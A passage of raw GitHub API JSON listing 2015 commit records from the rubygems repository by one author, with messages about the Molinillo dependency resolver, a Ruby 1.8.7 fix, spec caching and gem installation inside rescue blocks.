locking","tree":{"sha":"24c80c9b539f9412968d96fb9fabbc95edfb2265","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/24c80c9b539f9412968d96fb9fabbc95edfb2265"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/26ae8c1053fc1f0bcdf6163c38563c6cfa551ac1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/26ae8c1053fc1f0bcdf6163c38563c6cfa551ac1","html_url":"https://github.com/rubygems/rubygems/commit/26ae8c1053fc1f0bcdf6163c38563c6cfa551ac1","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/26ae8c1053fc1f0bcdf6163c38563c6cfa551ac1/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"2eb48e3c4b37225ea3ab4ef78368a6e05d385dc6","url":"https://api.github.com/repos/rubygems/rubygems/commits/2eb48e3c4b37225ea3ab4ef78368a6e05d385dc6","html_url":"https://github.com/rubygems/rubygems/commit/2eb48e3c4b37225ea3ab4ef78368a6e05d385dc6"}]},{"sha":"2eb48e3c4b37225ea3ab4ef78368a6e05d385dc6","node_id":"MDY6Q29tbWl0NjE0MDcwOjJlYjQ4ZTNjNGIzNzIyNWVhM2FiNGVmNzgzNjhhNmUwNWQzODVkYzY=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-14T05:49:45Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-30T02:01:22Z"},"message":"[Resolver] Prefix molinillo requires so that the load path doesnt need to be manipulated","tree":{"sha":"621b46376bee23160eb108a8661e3c3bb91e0ac3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/621b46376bee23160eb108a8661e3c3bb91e0ac3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2eb48e3c4b37225ea3ab4ef78368a6e05d385dc6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2eb48e3c4b37225ea3ab4ef78368a6e05d385dc6","html_url":"https://github.com/rubygems/rubygems/commit/2eb48e3c4b37225ea3ab4ef78368a6e05d385dc6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2eb48e3c4b37225ea3ab4ef78368a6e05d385dc6/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"999b29e9139af75827fd79540870e75c1c2eb873","url":"https://api.github.com/repos/rubygems/rubygems/commits/999b29e9139af75827fd79540870e75c1c2eb873","html_url":"https://github.com/rubygems/rubygems/commit/999b29e9139af75827fd79540870e75c1c2eb873"}]},{"sha":"999b29e9139af75827fd79540870e75c1c2eb873","node_id":"MDY6Q29tbWl0NjE0MDcwOjk5OWIyOWU5MTM5YWY3NTgyN2ZkNzk1NDA4NzBlNzVjMWMyZWI4NzM=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-13T15:59:41Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-30T02:01:22Z"},"message":"[Resolver] Remove unused attribute","tree":{"sha":"a4d3e06ef8b63704c72cb31b51830328df288121","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a4d3e06ef8b63704c72cb31b51830328df288121"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/999b29e9139af75827fd79540870e75c1c2eb873","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/999b29e9139af75827fd79540870e75c1c2eb873","html_url":"https://github.com/rubygems/rubygems/commit/999b29e9139af75827fd79540870e75c1c2eb873","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/999b29e9139af75827fd79540870e75c1c2eb873/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"029db7fc183977c855bf1dd0a6f763f631a53463","url":"https://api.github.com/repos/rubygems/rubygems/commits/029db7fc183977c855bf1dd0a6f763f631a53463","html_url":"https://github.com/rubygems/rubygems/commit/029db7fc183977c855bf1dd0a6f763f631a53463"}]},{"sha":"029db7fc183977c855bf1dd0a6f763f631a53463","node_id":"MDY6Q29tbWl0NjE0MDcwOjAyOWRiN2ZjMTgzOTc3Yzg1NWJmMWRkMGE2Zjc2M2Y2MzFhNTM0NjM=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-13T15:40:50Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-30T02:01:22Z"},"message":"[Resolver] Fix for Ruby 1.8.7","tree":{"sha":"3fedc03193d6aeb539f438dd9d4e641a70ffa027","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3fedc03193d6aeb539f438dd9d4e641a70ffa027"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/029db7fc183977c855bf1dd0a6f763f631a53463","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/029db7fc183977c855bf1dd0a6f763f631a53463","html_url":"https://github.com/rubygems/rubygems/commit/029db7fc183977c855bf1dd0a6f763f631a53463","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/029db7fc183977c855bf1dd0a6f763f631a53463/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"c182b1f41da1bd16f2d635ec4c487c778622cc30","url":"https://api.github.com/repos/rubygems/rubygems/commits/c182b1f41da1bd16f2d635ec4c487c778622cc30","html_url":"https://github.com/rubygems/rubygems/commit/c182b1f41da1bd16f2d635ec4c487c778622cc30"}]},{"sha":"c182b1f41da1bd16f2d635ec4c487c778622cc30","node_id":"MDY6Q29tbWl0NjE0MDcwOmMxODJiMWY0MWRhMWJkMTZmMmQ2MzVlYzRjNDg3Yzc3ODYyMmNjMzA=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-13T06:14:52Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-30T02:01:22Z"},"message":"[Resolver] Use Molinillo for dependency resolution","tree":{"sha":"16a02785fc9a8bc1acdaf48d8ca7d160853704a9","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/16a02785fc9a8bc1acdaf48d8ca7d160853704a9"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c182b1f41da1bd16f2d635ec4c487c778622cc30","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c182b1f41da1bd16f2d635ec4c487c778622cc30","html_url":"https://github.com/rubygems/rubygems/commit/c182b1f41da1bd16f2d635ec4c487c778622cc30","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c182b1f41da1bd16f2d635ec4c487c778622cc30/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"704fb2781b1a206eba5b38633af74ae6ac784231","url":"https://api.github.com/repos/rubygems/rubygems/commits/704fb2781b1a206eba5b38633af74ae6ac784231","html_url":"https://github.com/rubygems/rubygems/commit/704fb2781b1a206eba5b38633af74ae6ac784231"}]},{"sha":"980c7c29a21e7df4749ea612a6631bea10fb0c16","node_id":"MDY6Q29tbWl0NjE0MDcwOjk4MGM3YzI5YTIxZTdkZjQ3NDllYTYxMmE2NjMxYmVhMTBmYjBjMTY=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-29T16:11:54Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-29T16:11:54Z"},"message":"Add test for being able to Gem.install inside a rescue block","tree":{"sha":"6037b5beca4a9178f6c28c87289c4adaf09b5580","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6037b5beca4a9178f6c28c87289c4adaf09b5580"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/980c7c29a21e7df4749ea612a6631bea10fb0c16","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/980c7c29a21e7df4749ea612a6631bea10fb0c16","html_url":"https://github.com/rubygems/rubygems/commit/980c7c29a21e7df4749ea612a6631bea10fb0c16","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/980c7c29a21e7df4749ea612a6631bea10fb0c16/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ae4b5336efe559b83d7ccd06ffca46f70c6e948e","url":"https://api.github.com/repos/rubygems/rubygems/commits/ae4b5336efe559b83d7ccd06ffca46f70c6e948e","html_url":"https://github.com/rubygems/rubygems/commit/ae4b5336efe559b83d7ccd06ffca46f70c6e948e"}]},{"sha":"56652f247595d31ac752a9dcf55e8d559706a353","node_id":"MDY6Q29tbWl0NjE0MDcwOjU2NjUyZjI0NzU5NWQzMWFjNzUyYTlkY2Y1NWU4ZDU1OTcwNmEzNTM=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-29T07:02:34Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-29T07:02:34Z"},"message":"[Specification] Save a stat when spec is in the cache","tree":{"sha":"f70b8649d66d9c3b923cb9729193f8bcc1a97c62","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f70b8649d66d9c3b923cb9729193f8bcc1a97c62"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/56652f247595d31ac752a9dcf55e8d559706a353","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/56652f247595d31ac752a9dcf55e8d559706a353","html_url":"https://github.com/rubygems/rubygems/commit/56652f247595d31ac752a9dcf55e8d559706a353","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/56652f247595d31ac752a9dcf55e8d559706a353/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"c391afc34e3e673a4622893f167edadd60e2e57b","url":"https://api.github.com/repos/rubygems/rubygems/commits/c391afc34e3e673a4622893f167edadd60e2e57b","html_url":"https://github.com/rubygems/rubygems/commit/c391afc34e3e673a4622893f167edadd60e2e57b"}]},{"sha":"ae4b5336efe559b83d7ccd06ffca46f70c6e948e","node_id":"MDY6Q29tbWl0NjE0MDcwOmFlNGI1MzM2ZWZlNTU5YjgzZDdjY2QwNmZmY2E0NmY3MGM2ZTk0OGU=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-06T00:25:46Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-06T00:25:46Z"},"message":"Allow installing a gem inside a rescue block","tree":{"sha":"dc39b306588b39ef4b47b8d9f33dfb7c73d5c5aa","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/dc39b306588b39ef4b47b8d9f33dfb7c73d5c5aa"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ae4b5336efe559b83d7ccd06ffca46f70c6e948e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ae4b5336efe559b83d7ccd06ffca46f70c6e948e","html_url":"https://github.com/rubygems/rubygems/commit/ae4b5336efe559b83d7ccd06ffca46f70c6e948e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ae4b5336efe559b83d7ccd06ffca46f70c6e948e/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"8f6bcea9e70d93a1092bbd174672f0dab5587753","url":"https://api.github.com/repos/rubygems/rubygems/commits/8f6bcea9e70d93a1092bbd174672f0dab5587753","html_url":"https://github.com/rubygems/rubygems/commit/8f6bcea9e70d93a1092bbd174672f0dab5587753"}]},{"sha":"cd386c850b6bad89df60a24d03882431c93c8f25","node_id":"MDY6Q29tbWl0NjE0MDcwOmNkMzg2Yzg1MGI2YmFkODlkZjYwYTI0ZDAzODgyNDMxYzkzYzhmMjU=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-02T04:17:09Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-02T04:17:09Z"},"message":"[Specification#validate] Dont ERRNO::ENOENT when a file is missing","tree":{"sha":"305022fc591c617aa2b7f1ae2d328dd971b21a9d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/305022fc591c617aa2b7f1ae2d328dd971b21a9d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/cd386c850b6bad89df60a24d03882431c93c8f25","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/cd386c850b6bad89df60a24d03882431c93c8f25","html_url":"https://github.com/rubygems/rubygems/commit/cd386c850b6bad89df60a24d03882431c93c8f25","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/cd386c850b6bad89df60a24d03882431c93c8f25/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"9d19e39dfae577cbda3d07435ec0992edab2ff75","url":"https://api.github.com/repos/rubygems/rubygems/commits/9d19e39dfae577cbda3d07435ec0992edab2ff75","html_url":"https://github.com/rubygems/rubygems/commit/9d19e39dfae577cbda3d07435ec0992edab2ff75"}]},{"sha":"831a350ed3e8637215a42a2908c012df239f6318","node_id":"MDY6Q29tbWl0NjE0MDcwOjgzMWEzNTBlZDNlODYzNzIxNWE0MmEyOTA4YzAxMmRmMjM5ZjYzMTg=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-05-15T15:04:13Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-05-15T15:04:13Z"},"message":"[Indexer] Finish s/inidicies/indices/ which was breaking the build","tree":{"sha":"53bbebc8c10cf27c8091adc5ff0fee6098a8f007","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/53bbebc8c10cf27c8091adc5ff0fee6098a8f007"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/831a350ed3e8637215a42a2908c012df239f6318","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/831a350ed3e8637215a42a2908c012df239f6318","html_url":"https://github.com/rubygems/rubygems/commit/831a350ed3e8637215a42a2908c012df239f6318","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/831a350ed3e8637215a42a2908c012df239f6318/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"34e5bd78575c158a81cb8f1de9e55442784a8f1d","url":"https://api.github.com/repos/rubygems/rubygems/commits/34e5bd78575c158a81cb8f1de9e55442784a8f1d","html_url":"https://github.com/rubygems/rubygems/commit/34e5bd78575c158a81cb